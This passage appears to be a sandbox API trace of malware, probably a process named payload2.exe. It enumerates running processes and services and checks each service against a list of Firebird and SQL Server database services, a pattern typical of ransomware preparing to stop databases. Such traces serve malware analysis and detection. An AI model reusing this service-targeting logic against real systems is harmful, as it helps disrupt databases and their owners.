	[0060.503] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0060.503] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0060.504] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0060.504] lstrlenW (lpString="legends.exe") returned 11
	[0060.504] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0060.505] lstrlenW (lpString="miniature.exe") returned 13
	[0060.505] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0060.505] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0060.506] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0060.506] lstrlenW (lpString="thorough.exe") returned 12
	[0060.506] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0060.507] lstrlenW (lpString="dllhost.exe") returned 11
	[0060.507] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0060.507] lstrlenW (lpString="interactive.exe") returned 15
	[0060.507] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0060.508] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0060.508] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0060.509] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0060.509] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0060.510] lstrlenW (lpString="eastexamined.exe") returned 16
	[0060.510] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0060.510] lstrlenW (lpString="attacks-according.exe") returned 21
	[0060.511] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0060.511] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0060.511] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0060.512] lstrlenW (lpString="values latin.exe") returned 16
	[0060.512] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0060.513] lstrlenW (lpString="eaufeed.exe") returned 11
	[0060.513] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0060.514] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0060.514] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0060.514] lstrlenW (lpString="burning.exe") returned 11
	[0060.514] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0060.515] lstrlenW (lpString="warned-garage.exe") returned 17
	[0060.515] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0060.516] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0060.516] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0060.517] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0060.517] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0060.517] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0060.517] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0060.518] lstrlenW (lpString="proprietary.exe") returned 15
	[0060.518] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.519] lstrlenW (lpString="conhost.exe") returned 11
	[0060.519] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.520] lstrlenW (lpString="conhost.exe") returned 11
	[0060.520] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0060.521] lstrlenW (lpString="payload2.exe") returned 12
	[0060.521] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0060.521] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0060.521] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.522] lstrlenW (lpString="conhost.exe") returned 11
	[0060.522] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.523] lstrlenW (lpString="svchost.exe") returned 11
	[0060.523] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0060.523] lstrlenW (lpString="cmd.exe") returned 7
	[0060.523] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0060.660] lstrlenW (lpString="conhost.exe") returned 11
	[0060.660] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0060.660] CloseHandle (hObject=0x2e4) returned 1
	[0060.660] Sleep (dwMilliseconds=0x1f4) 
	[0061.585] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d9d0
	[0061.586] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0061.586] GetLastError () returned 0xea
	[0061.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x54fa78
	[0061.587] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54fa78, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54fa78, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0061.587] CloseServiceHandle (hSCObject=0x52d9d0) returned 1
	[0061.588] lstrlenW (lpString="Appinfo") returned 7
	[0061.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0061.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0061.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0061.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0061.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0061.588] lstrlenW (lpString="AppXSvc") returned 7
	[0061.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0061.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0061.588] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0061.588] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0061.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0061.588] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0061.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0061.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0061.588] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0061.588] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0061.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0061.588] lstrlenW (lpString="Audiosrv") returned 8
	[0061.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0061.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0061.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0061.589] lstrlenW (lpString="BFE") returned 3
	[0061.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0061.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0061.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0061.589] lstrlenW (lpString="BITS") returned 4
	[0061.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0061.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0061.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0061.589] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0061.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0061.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0061.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0061.589] lstrlenW (lpString="CDPSvc") returned 6
	[0061.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0061.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0061.589] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0061.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0061.590] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0061.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0061.590] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0061.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0061.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0061.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0061.590] lstrlenW (lpString="CryptSvc") returned 8
	[0061.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0061.590] lstrlenW (lpString="DcomLaunch") returned 10
	[0061.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0061.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0061.590] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0061.590] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0061.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0061.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0061.590] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0061.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0061.591] lstrlenW (lpString="Dhcp") returned 4
	[0061.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0061.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0061.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0061.591] lstrlenW (lpString="Dnscache") returned 8
	[0061.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0061.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0061.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0061.591] lstrlenW (lpString="DoSvc") returned 5
	[0061.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0061.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0061.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0061.591] lstrlenW (lpString="DPS") returned 3
	[0061.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0061.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0061.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0061.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0061.591] lstrlenW (lpString="DusmSvc") returned 7
	[0061.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0061.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0061.592] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0061.592] lstrlenW (lpString="EventLog") returned 8
	[0061.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0061.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0061.592] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0061.592] lstrlenW (lpString="EventSystem") returned 11
	[0061.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0061.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0061.592] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0061.592] lstrlenW (lpString="FontCache") returned 9
	[0061.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0061.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0061.592] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0061.592] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0061.592] lstrlenW (lpString="gpsvc") returned 5
	[0061.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0061.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0061.592] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0061.592] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0061.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0061.593] lstrlenW (lpString="iphlpsvc") returned 8
	[0061.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0061.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0061.593] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0061.593] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0061.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0061.593] lstrlenW (lpString="KeyIso") returned 6
	[0061.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0061.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0061.593] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0061.593] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0061.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0061.593] lstrlenW (lpString="LanmanServer") returned 12
	[0061.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0061.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0061.593] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0061.593] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0061.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0061.593] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0061.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0061.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0061.593] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0061.593] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0061.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0061.593] lstrlenW (lpString="lfsvc") returned 5
	[0061.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0061.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0061.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0061.594] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0061.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0061.594] lstrlenW (lpString="lmhosts") returned 7
	[0061.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0061.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0061.594] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0061.594] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0061.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0061.594] lstrlenW (lpString="LSM") returned 3
	[0061.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0061.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0061.594] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
